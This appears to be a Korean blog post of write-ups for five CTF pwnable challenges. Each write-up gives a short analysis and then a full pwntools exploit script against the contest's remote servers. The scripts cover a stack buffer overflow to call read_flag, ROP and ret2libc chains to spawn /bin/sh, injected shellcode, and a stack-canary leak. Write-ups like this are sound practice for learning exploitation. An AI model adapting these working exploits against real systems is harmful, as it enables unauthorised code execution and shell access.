1. Trust me
(1) 난이도 : Easy
(2) 문제
prob
0.02MB
prob.c
0.00MB
(3) 풀이
- age를 우회한 후, name에 BOF를 발생시켜 read_flag함수를 호출하는 문제이다.
- age우회
- age는 -128면 안되고, -127보다는 작아야 하는 조건문이 존재한다.
이는 디버깅을 하여, 코드를 분석해서 쉽게 우회할 수 있었다. - 아래 캡쳐보는 gdb로 디버깅한 사진이다.
①을 보면 0xffffff80이면 안되고, ②을 보면 입력값은 al크기의 값이 0x80인지 확인하고 있다. - 따라서, 0xffffff80이 아지만, al이 0x80인 '-3712'값을 age에 넣어주면 우회가 가능하다.
- age는 -128면 안되고, -127보다는 작아야 하는 조건문이 존재한다.

- name의 BOF취약점
- 디버깅하여, 확인해보면 ebp-8위치가 func임을 알 수 있다.
- 위 사진의 ③을 보면 0x25만큼 입력을 받아오고 있기 때문에, [ebp-8]을 덮어쓸 수 있다.
- 따라서, name에 BOF를 발생시키고 [ebp-8]에 read_flag함수의 주소값을 넣어주면 flag를 읽어올 수 있다.

(4) Exploit
from pwn import *
p = remote(b"3.38.49.137", 7776)
#p = process(b"./prob")
e = ELF(b"./prob")
read_flag = e.symbols['read_flag']
payload = (b'a'*0x21) + p32(read_flag)
p.recvuntil(b"Your age : ")
p.sendline(b'-3712\n')
p.recvuntil(b"Your name : ")
p.send(payload)
print(p.recvuntil(payload + b"\n"))
print(p.recvline())
p.interactive()

2. Green frog
(1) 난이도 : Easy
(2) 문제
frog
0.01MB
(3) 풀이
- 간단한 ROP문제로, 기존에 바이너리에 존재하는 execve함수와 '/bin/sh'문자열을 이용해 쉘을 획득하는 것이다.
- 해당 문제를 풀며 발생한 문제점
- pop rdi; ret;가젯만 이용해 풀려다가 디버깅해보니 rsi값이 0이 아닌 0x1이 들어가 있어서 쉘을 획득할 수 없었다.
- 디버깅해보니, rdx경우 0x0으로 되어있어서 pop rdi; ret;가젯과 pop rsi; pop r15; ret;가젯으로 인자값을 넘겨줘 쉘을 획득할 수 있었다.

(4) Exploit
from pwn import *
p = remote("3.38.49.137", 4302)
#p = process(b"./frog")
e = ELF(b"./frog")
rdi_ret = 0x400793
rsi_r15_ret = 0x400791
binsh = 0x4007B8
execve = e.symbols['execve']
payload = b"A" * 0x30
payload += b"B" * 0x8
payload += p64(rdi_ret)
payload += p64(binsh)
payload += p64(rsi_r15_ret)
payload += p64(0)
payload += p64(0)
payload += p64(execve)
p.recvuntil(b"Watch out NOT to OVERFLOW this !")
p.sendline(payload)
p.interactive()

3. input
(1) 난이도 : Easy
(2) 문제
chall
0.02MB
(3) 풀이
- 포인터 변수에 mmap함수로 메모리에 맵핑해주고, 입력값을 해당 메모리에 저장하여 실행한다.
- 따라서, 입력값에 shellcode를 삽입해주면, 성공적으로 쉘을 획득할 수 있다.
- shellcraft를 사용하여, shellcode를 생성시 context.arch로 64bit임을 명시해야 한다.
(4) Exploit
from pwn import *
p = remote("3.38.49.137", 31339)
#p = process(b"./chall")
context.arch = "amd64"
payload = shellcraft.execve("/bin/sh", 0, 0)
payload1 = asm(payload)
p.sendline(payload1)
p.interactive()

4. 명언 카나리
(1) 난이도 : Medium
(2) 문제
quote
0.01MB
(3) 풀이
- 바이너리에는 NX가 적용되어 있지 않고 PIE만 적용되어 있다.
- 따라서, buf안에 shellcode를 삽입해주면 된다.
- 해당 문제를 풀며 발생한 문제점
- shellcraft를 이용하여 shellcode를 만들었는데, context.arch로 64bit임을 선언하지 않아 쉘을 획득할 수 없었다.
- 따라서, context.arch로 64bit를 선언하고 나니 성공적으로 쉘을 획득할 수 있었다.
(4) Exploit
from pwn import *
context(arch='amd64', os='linux')
#p = process(b"./quote")
p = remote('3.38.49.137', 7839)
p.recvuntil(b"Address of the buf: ")
buf = p.recvline()[:-1]
print("buf : ", buf)
buf_addr = int(buf,16)
p.recvuntil(b"wayNo sweat, no sweet")
payload = b"A" * 89
p.send(payload)
p.recvuntil(b'Your input is \'' + payload)
canary = u64(b'\x00'+p.recvn(7))
print("Canary : ", hex(canary))
sh = shellcraft.execve("/bin/sh", 0 , 0)
sh1 = asm(sh)
payload2 = sh1.ljust(88, b'A')
payload2 += p64(canary)
payload2 += b"C" * 0x8
payload2 += p64(buf_addr)
p.recvuntil(b'Input: ')
p.sendline(payload2)
p.interactive()

5. 비리 교수 양서영
(1) 난이도 : Medium
(2) 문제
corruption
0.01MB
(3) 풀이
- BOF를 발생시켜, 'pop rdi; ret;' 가젯으로 ROP하는 문제이다.
- read_got을 출력하여, system함수의 주소값을 계산하고 main함수를 다시 호출시킨다.
- /bin/sh문자열을 라이브러리에서 찾고, ROP기법으로 system('/bin/sh')를 실행시킨다.
- 해당문제를 풀며, 발생한 문제점
- 라이브러리를 문제에 같이 주지 않아서 어려움이 있었다.
- 이는 아래 사이트에서 찾아, 예측하여 풀 수 있었다.
(https://libc.blukat.me/?q=read%3A180)
libc6_2.27-3ubuntu1.2_amd64.so
1.94MB
(4) Exploit
from pwn import *
def print_v(n, v): return success(": ".join([n, hex(v)]))
p = remote(b"211.239.124.233", 13917)
#p = process(b"./corruption")
e = ELF(b"./corruption")
libc = ELF(b"libc6_2.27-3ubuntu1.2_amd64.so")
pwd = b"YANGSEOYEONG0201"
rdi_ret = 0x4009d3
puts_plt = e.plt['puts']
read_got = e.got['read']
main_addr = e.symbols['main']
libc_read = libc.symbols['read']
libc_sys = libc.symbols['system']
libc_binsh = list(libc.search(b"/bin/sh"))[0]
payload = pwd.ljust(0x20, b"\x00")
payload += b"B" * 0x8
payload += p64(rdi_ret)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(rdi_ret)
payload += p64(0)
payload += p64(main_addr)
p.sendline(payload)
p.recvuntil(b"but... Where is the answer sheet?\n")
read_addr = u64(p.recvn(6) + (b'\x00' * 2))
libc_base = read_addr - libc_read
sys_addr = libc_base + libc_sys
print_v("Read Address", read_addr)
print_v("Library Base Address", libc_base)
print_v("System Address", sys_addr)
print_v("Main Address", main_addr)
libc_binsh += libc_base
payload2 = pwd.ljust(0x20, b"\x00")
payload2 += b"B" * 0x8
payload2 += p64(rdi_ret)
payload2 += p64(libc_binsh)
payload2 += p64(rdi_ret + 1)
payload2 += p64(sys_addr)
p.sendline(payload2)
p.recvuntil(b"but... Where is the answer sheet?\n")
p.interactive()

'CTF' 카테고리의 다른 글
2023 HTB CTF Writeup (0) | 2023.07.20 |
---|---|
2023 Google CTF writeup (Pwnable) (0) | 2023.07.02 |
2022 POXX 예선 & 본선 writeup (pwnable, rev) (0) | 2022.12.28 |
2022 SSTF writeup (0) | 2022.08.24 |